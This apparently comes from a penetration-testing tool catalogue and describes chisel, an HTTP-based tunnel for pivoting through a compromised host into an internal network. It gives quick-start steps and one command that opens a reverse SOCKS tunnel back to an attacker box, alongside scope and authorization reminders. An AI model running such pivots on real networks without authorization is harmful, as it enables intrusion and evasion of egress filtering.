PE-CHI
chisel
Fast TCP/UDP tunnel over HTTP, used to pivot traffic through a compromised host into an internal network segment.
OVERVIEW
chisel (jpillora/chisel) is a fast TCP/UDP tunnel, transported over HTTP and secured with SSH under the hood: a chisel server runs on an attacker-controlled box, a chisel client runs on the compromised host, and the two negotiate a single outbound HTTP/WebSocket connection that then carries arbitrary forwarded ports in either direction — no separate listener or extra dependency on the target beyond the single static Go binary.
Because it rides over ordinary HTTP and needs only one outbound connection, it is a common way to punch a stable tunnel out of networks with restrictive egress filtering that would block a raw reverse shell or a direct SOCKS proxy, letting you point Nmap, a browser, or other tooling at hosts on the far side of the compromised box's network segment.
USE CASES
Practical use cases
- 01
Pivoting a SOCKS proxy through a compromised host to reach an internal segment not directly routable.
- 02
Forwarding a single internal service (e.g. an internal web app or RDP) out to the attacker box for testing.
- 03
Reverse-pivoting into a network behind restrictive egress filtering that blocks a raw reverse shell.
- 04
Chaining with other tools (Nmap, Burp, browsers) via the SOCKS proxy once a tunnel is established.
QUICK START
Once a foothold exists on a host with access to a segment you can't reach directly, to build a tunnel and pivot tooling through it.
- Confirm pivoting through this specific foothold and into the target segment is authorized in scope.
- Download or build the chisel static binary for the attacker box and for the compromised host's architecture.
- Start chisel in server mode on the attacker box, with --reverse if the client needs to dial out through egress filtering.
- Run the chisel client on the compromised host, connecting back and requesting a SOCKS or port-forward tunnel.
- Point Nmap, a browser (via proxychains or a SOCKS-aware tool), or other tooling at the new tunnel.
chisel client 10.10.10.1:8000 R:socksBEFORE YOU RUN IT
What to check before running it
chisel's own traffic is fingerprintable — a WebSocket handshake reused as a long-lived outbound tunnel is a known pivot pattern that a monitored network can flag; document the pivot path (server IP, port, client host) for the report regardless of whether it's caught.
Access through the reverse SOCKS proxy is only as tightly scoped as the traffic sent through it — keep follow-on scanning and tooling inside the segments actually authorized, not just what happens to be routable through the tunnel.
Anyone who can reach the chisel server's listening port can potentially connect to it too; bind narrowly and consider chisel's built-in auth (users.json) rather than leaving the server open to the internet.